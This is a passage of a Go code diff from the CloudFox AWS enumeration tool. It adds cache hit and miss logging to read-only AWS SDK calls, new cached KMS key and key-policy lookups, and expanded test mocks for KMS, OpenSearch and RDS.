ListAccessKeys, err := IAMClient.ListAccessKeys(
|
||||
@@ -172,8 +205,18 @@ func CachedIAMGetAccountAuthorizationDetails(IAMClient AWSIAMClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-iam-GetAccountAuthorizationDetails", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetAccountAuthorizationDetails",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(customGAADOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetAccountAuthorizationDetails",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetAccountAuthorizationDetails, err := IAMClient.GetAccountAuthorizationDetails(
|
||||
@@ -224,8 +267,20 @@ func CachedIamSimulatePrincipalPolicy(IAMClient AWSIAMClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-iamSimulator-%s-%s-%s", accountID, name, hex.EncodeToString(md5hashedActionNames[:truncatedHashLength]), hex.EncodeToString(md5hashedResourceArns[:truncatedHashLength]))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:SimulatePrincipalPolicy",
|
||||
"account": accountID,
|
||||
"principal": name,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.EvaluationResult), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:SimulatePrincipalPolicy",
|
||||
"account": accountID,
|
||||
"principal": name,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
SimulatePrincipalPolicy, err := IAMClient.SimulatePrincipalPolicy(
|
||||
@@ -261,8 +316,18 @@ func CachedIamListGroups(IAMClient AWSIAMClientInterface, accountID string) ([]i
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListGroups", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListGroups",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.Group), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListGroups",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListGroups, err := IAMClient.ListGroups(
|
||||
@@ -296,9 +361,21 @@ func CachedIamGetInstanceProfile(IAMClient AWSIAMClientInterface, accountID stri
|
||||
cacheKey := fmt.Sprintf("%s-iam-GetInstanceProfile-%s", accountID, instanceProfileName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetInstanceProfile",
|
||||
"account": accountID,
|
||||
"profile": instanceProfileName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(iamTypes.InstanceProfile), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetInstanceProfile",
|
||||
"account": accountID,
|
||||
"profile": instanceProfileName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetInstanceProfile, err := IAMClient.GetInstanceProfile(
|
||||
context.TODO(),
|
||||
&iam.GetInstanceProfileInput{
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/kinesis"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSKinesisClientInterface interface {
|
||||
@@ -24,8 +25,20 @@ func CachedKinesisListStreams(client AWSKinesisClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-kinesis-ListStreams-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kinesis:ListStreams",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kinesis:ListStreams",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListStreams, err := client.ListStreams(
|
||||
context.TODO(),
|
||||
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/kms"
|
||||
kmsTypes "github.com/aws/aws-sdk-go-v2/service/kms/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
// KMSClientInterface is an interface for the AWS SDK KMS client.
|
||||
type KMSClientInterface interface {
|
||||
ListKeys(context.Context, *kms.ListKeysInput, ...func(options *kms.Options)) (*kms.ListKeysOutput, error)
|
||||
GetKeyPolicy(context.Context, *kms.GetKeyPolicyInput, ...func(options *kms.Options)) (*kms.GetKeyPolicyOutput, error)
|
||||
}
|
||||
|
||||
func init() {
|
||||
gob.Register([]kmsTypes.KeyListEntry{})
|
||||
gob.Register(policy.Policy{})
|
||||
}
|
||||
|
||||
// CachedKMSListKeys returns a list of KMS keys for the given account and region.
|
||||
func CachedKMSListKeys(client KMSClientInterface, accountID string, region string) ([]kmsTypes.KeyListEntry, error) {
|
||||
var keys []kmsTypes.KeyListEntry
|
||||
cacheKey := fmt.Sprintf("%s-kms-ListKeys-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:ListKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]kmsTypes.KeyListEntry), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:ListKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
keyPaginator := kms.NewListKeysPaginator(client.(kms.ListKeysAPIClient), &kms.ListKeysInput{}, func(options *kms.ListKeysPaginatorOptions) {})
|
||||
|
||||
for keyPaginator.HasMorePages() {
|
||||
output, err := keyPaginator.NextPage(context.TODO())
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, key := range output.Keys {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, keys, cache.DefaultExpiration)
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
// CachedKMSGetKeyPolicy returns the policy for the given KMS key.
|
||||
func CachedKMSGetKeyPolicy(client KMSClientInterface, accountID string, region string, keyID string) (policy.Policy, error) {
|
||||
var keyPolicy policy.Policy
|
||||
var policyJson string
|
||||
cacheKey := fmt.Sprintf("%s-kms-GetKeyPolicy-%s-%s", accountID, region, keyID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:GetKeyPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"keyId": keyID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:GetKeyPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"keyId": keyID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
getKeyPolicy, err := client.GetKeyPolicy(
|
||||
context.TODO(),
|
||||
&kms.GetKeyPolicyInput{
|
||||
KeyId: &keyID,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return keyPolicy, err
|
||||
}
|
||||
|
||||
policyJson = aws.ToString(getKeyPolicy.Policy)
|
||||
keyPolicy, err = policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
return keyPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", keyID, err)
|
||||
}
|
||||
internal.Cache.Set(cacheKey, keyPolicy, cache.DefaultExpiration)
|
||||
return keyPolicy, nil
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/kms"
|
||||
kmsTypes "github.com/aws/aws-sdk-go-v2/service/kms/types"
|
||||
)
|
||||
|
||||
type MockedKMSClient struct {
|
||||
}
|
||||
|
||||
func (m *MockedKMSClient) ListKeys(ctx context.Context, input *kms.ListKeysInput, options ...func(*kms.Options)) (*kms.ListKeysOutput, error) {
|
||||
return &kms.ListKeysOutput{
|
||||
Keys: []kmsTypes.KeyListEntry{
|
||||
{
|
||||
KeyId: aws.String("key1"),
|
||||
KeyArn: aws.String("arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab"),
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedKMSClient) GetKeyPolicy(ctx context.Context, input *kms.GetKeyPolicyInput, options ...func(options *kms.Options)) (*kms.GetKeyPolicyOutput, error) {
|
||||
return &kms.GetKeyPolicyOutput{
|
||||
Policy: aws.String(`{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-default-1",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::123456789012:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}`),
|
||||
}, nil
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/lambda"
|
||||
lambdaTypes "github.com/aws/aws-sdk-go-v2/service/lambda/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type LambdaClientInterface interface {
|
||||
@@ -29,8 +30,20 @@ func CachedLambdaListFunctions(client LambdaClientInterface, accountID string, r
|
||||
cacheKey := fmt.Sprintf("%s-lambda-ListFunctions-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:ListFunctions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]lambdaTypes.FunctionConfiguration), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:ListFunctions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListFunctions, err := client.ListFunctions(
|
||||
@@ -114,8 +127,22 @@ func CachedLambdaGetFunctionUrlConfig(client LambdaClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-lambda-GetFunctionUrlConfig-%s-%s", accountID, region, functionName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:GetFunctionUrlConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"function": functionName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(customGetFuntionURLOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:GetFunctionUrlConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"function": functionName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetFunctionUrlConfig, err := client.GetFunctionUrlConfig(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/lightsail"
|
||||
lightsailTypes "github.com/aws/aws-sdk-go-v2/service/lightsail/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type lightsailClientInterface interface {
|
||||
@@ -69,8 +70,20 @@ func CachedLightsailGetContainerServices(client lightsailClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-lightsail-GetContainerService-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lightsail:GetContainerServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]lightsailTypes.ContainerService), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lightsail:GetContainerServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetInstances, err := client.GetContainerServices(
|
||||
context.TODO(),
|
||||
&lightsail.GetContainerServicesInput{},
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/mq"
|
||||
mqTypes "github.com/aws/aws-sdk-go-v2/service/mq/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type MQClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedMQListBrokers(client MQClientInterface, accountID string, region stri
|
||||
cacheKey := fmt.Sprintf("%s-mq-ListBrokers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "mq:ListBrokers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]mqTypes.BrokerSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "mq:ListBrokers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListBrokers, err := client.ListBrokers(
|
||||
|
||||
+47
-3
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/opensearch"
|
||||
openSearchTypes "github.com/aws/aws-sdk-go-v2/service/opensearch/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type OpenSearchClientInterface interface {
|
||||
@@ -23,14 +24,26 @@ func init() {
|
||||
gob.Register(openSearchTypes.DomainStatus{})
|
||||
}
|
||||
|
||||
// create CachedOpenSearchListDomainNames function that uses go-cache and pagination
|
||||
// CachedOpenSearchListDomainNames function that uses go-cache and pagination
|
||||
func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID string, region string) ([]openSearchTypes.DomainInfo, error) {
|
||||
var domains []openSearchTypes.DomainInfo
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-ListDomainNames-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:ListDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]openSearchTypes.DomainInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:ListDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
ListDomainNames, err := client.ListDomainNames(
|
||||
context.TODO(),
|
||||
@@ -50,14 +63,31 @@ func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID
|
||||
return domains, nil
|
||||
}
|
||||
|
||||
// create CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
|
||||
// CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
|
||||
func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainConfig, error) {
|
||||
|
||||
fmt.Printf("CachedOpenSearchDescribeDomainConfig: %s %s %s\n", accountID, region, domainName)
|
||||
|
||||
var DomainConfig openSearchTypes.DomainConfig
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomainConfig-%s-%s", accountID, region, domainName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomainConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(openSearchTypes.DomainConfig), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomainConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeDomainConfig, err := client.DescribeDomainConfig(
|
||||
context.TODO(),
|
||||
&opensearch.DescribeDomainConfigInput{
|
||||
@@ -78,14 +108,28 @@ func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, acco
|
||||
return DomainConfig, nil
|
||||
}
|
||||
|
||||
// create CachedOpenSearchDescribeDomain function that uses go-cache and pagination and supports region option
|
||||
// CachedOpenSearchDescribeDomain function that uses go-cache and pagination and supports region option
|
||||
func CachedOpenSearchDescribeDomain(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainStatus, error) {
|
||||
var DomainStatus openSearchTypes.DomainStatus
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomain-%s-%s", accountID, region, domainName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomain",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(openSearchTypes.DomainStatus), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "opensearch:DescribeDomain",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domain": domainName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeDomain, err := client.DescribeDomain(
|
||||
context.TODO(),
|
||||
&opensearch.DescribeDomainInput{
|
||||
|
||||
@@ -27,8 +27,8 @@ func (m *MockedOpenSearchClient) ListDomainNames(ctx context.Context, input *ope
|
||||
}
|
||||
|
||||
func (m *MockedOpenSearchClient) DescribeDomainConfig(ctx context.Context, input *opensearch.DescribeDomainConfigInput, options ...func(*opensearch.Options)) (*opensearch.DescribeDomainConfigOutput, error) {
|
||||
return &opensearch.DescribeDomainConfigOutput{
|
||||
DomainConfig: &openSearchTypes.DomainConfig{
|
||||
domainConfigMap := map[string]*openSearchTypes.DomainConfig{
|
||||
"domain1": {
|
||||
EngineVersion: &openSearchTypes.VersionStatus{
|
||||
Options: aws.String("OpenSearch-1.1"),
|
||||
Status: &openSearchTypes.OptionStatus{
|
||||
@@ -49,15 +49,63 @@ func (m *MockedOpenSearchClient) DescribeDomainConfig(ctx context.Context, input
|
||||
EnforceHTTPS: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
AdvancedSecurityOptions: &openSearchTypes.AdvancedSecurityOptionsStatus{
|
||||
Options: &openSearchTypes.AdvancedSecurityOptions{
|
||||
Enabled: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
},
|
||||
"domain2": {
|
||||
EngineVersion: &openSearchTypes.VersionStatus{
|
||||
Options: aws.String("OpenSearch-1.1"),
|
||||
Status: &openSearchTypes.OptionStatus{
|
||||
PendingDeletion: aws.Bool(false),
|
||||
},
|
||||
},
|
||||
ClusterConfig: &openSearchTypes.ClusterConfigStatus{
|
||||
Options: &openSearchTypes.ClusterConfig{
|
||||
DedicatedMasterCount: aws.Int32(3),
|
||||
DedicatedMasterEnabled: aws.Bool(true),
|
||||
InstanceCount: aws.Int32(3),
|
||||
WarmCount: aws.Int32(3),
|
||||
WarmEnabled: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
DomainEndpointOptions: &openSearchTypes.DomainEndpointOptionsStatus{
|
||||
Options: &openSearchTypes.DomainEndpointOptions{
|
||||
EnforceHTTPS: aws.Bool(true),
|
||||
},
|
||||
},
|
||||
AdvancedSecurityOptions: &openSearchTypes.AdvancedSecurityOptionsStatus{
|
||||
Options: &openSearchTypes.AdvancedSecurityOptions{
|
||||
Enabled: aws.Bool(false),
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
return &opensearch.DescribeDomainConfigOutput{
|
||||
DomainConfig: domainConfigMap[*input.DomainName],
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedOpenSearchClient) DescribeDomain(ctx context.Context, input *opensearch.DescribeDomainInput, options ...func(*opensearch.Options)) (*opensearch.DescribeDomainOutput, error) {
|
||||
return &opensearch.DescribeDomainOutput{
|
||||
DomainStatus: &openSearchTypes.DomainStatus{
|
||||
DomainName: aws.String("domain1"),
|
||||
Endpoint: aws.String("https://domain1.us-east-1.es.amazonaws.com"),
|
||||
domainStatusMap := map[string]*openSearchTypes.DomainStatus{
|
||||
"domain1": {
|
||||
DomainName: aws.String("domain1"),
|
||||
Endpoint: aws.String("https://domain1.us-east-1.es.amazonaws.com"),
|
||||
ARN: aws.String("arn:aws:es:us-east-1:123456789012:domain/domain1"),
|
||||
AccessPolicies: aws.String(`{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":[\"es:ESHttpGet\",\"es:ESHttpHead\",\"es:ESHttpPost\"],\"Resource\":\"*\",\"Condition\":{\"IpAddress\":{\"aws:SourceIp\":\"192.168.1.100/32\"}}}]}`),
|
||||
},
|
||||
"domain2": {
|
||||
DomainName: aws.String("domain2"),
|
||||
Endpoint: aws.String("https://domain2.us-east-1.es.amazonaws.com"),
|
||||
ARN: aws.String("arn:aws:es:us-east-1:123456789012:domain/domain2"),
|
||||
AccessPolicies: aws.String(`{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":[\"es:ESHttpGet\",\"es:ESHttpHead\",\"es:ESHttpPost\"],\"Resource\":\"*\"}]}`),
|
||||
},
|
||||
}
|
||||
|
||||
return &opensearch.DescribeDomainOutput{
|
||||
DomainStatus: domainStatusMap[*input.DomainName],
|
||||
}, nil
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/organizations"
|
||||
orgTypes "github.com/aws/aws-sdk-go-v2/service/organizations/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type OrganizationsClientInterface interface {
|
||||
@@ -28,8 +29,18 @@ func CachedOrganizationsListAccounts(client OrganizationsClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-organizations-ListAccounts", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:ListAccounts",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]orgTypes.Account), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:ListAccounts",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListAccounts, err := client.ListAccounts(
|
||||
@@ -62,8 +73,18 @@ func CachedOrganizationsDescribeOrganization(client OrganizationsClientInterface
|
||||
cacheKey := fmt.Sprintf("%s-organizations-DescribeOrganization", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:DescribeOrganization",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(*orgTypes.Organization), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "organizations:DescribeOrganization",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeOrganization, err := client.DescribeOrganization(
|
||||
context.TODO(),
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/rds"
|
||||
rdsTypes "github.com/aws/aws-sdk-go-v2/service/rds/types"
|
||||
"github.com/sirupsen/logrus"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
@@ -29,8 +30,20 @@ func CachedRDSDescribeDBInstances(client RDSClientInterface, accountID string, r
|
||||
cacheKey := fmt.Sprintf("%s-rds-DescribeDBInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]rdsTypes.DBInstance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBInstances, err := client.DescribeDBInstances(
|
||||
context.TODO(),
|
||||
@@ -65,8 +78,20 @@ func CachedRDSDescribeDBClusters(client RDSClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-rds-DescribeDBClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]rdsTypes.DBCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "rds:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBClusters, err := client.DescribeDBClusters(
|
||||
context.TODO(),
|
||||
|
||||
@@ -21,6 +21,10 @@ func (m *MockedRDSClient) DescribeDBInstances(ctx context.Context, input *rds.De
|
||||
EngineVersion: aws.String("13.3"),
|
||||
InstanceCreateTime: aws.Time(time.Now()),
|
||||
MasterUsername: aws.String("postgres"),
|
||||
Endpoint: &rdsTypes.Endpoint{
|
||||
Address: aws.String("db1-instances-1.blah.us-west-2.rds.amazonaws.com"),
|
||||
Port: aws.Int32(5432),
|
||||
},
|
||||
},
|
||||
{
|
||||
DBInstanceIdentifier: aws.String("db2"),
|
||||
@@ -28,6 +32,10 @@ func (m *MockedRDSClient) DescribeDBInstances(ctx context.Context, input *rds.De
|
||||
EngineVersion: aws.String("13.3"),
|
||||
InstanceCreateTime: aws.Time(time.Now()),
|
||||
MasterUsername: aws.String("postgres"),
|
||||
Endpoint: &rdsTypes.Endpoint{
|
||||
Address: aws.String("db2-instances-1.blah.us-west-2.rds.amazonaws.com"),
|
||||
Port: aws.Int32(5432),
|
||||
},
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/redshift"
|
||||
redshiftTypes "github.com/aws/aws-sdk-go-v2/service/redshift/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSRedShiftClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedRedShiftDescribeClusters(client AWSRedShiftClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-redshift-DescribeClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "redshift:DescribeClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]redshiftTypes.Cluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "redshift:DescribeClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeClusters, err := client.DescribeClusters(
|
||||
context.TODO(),
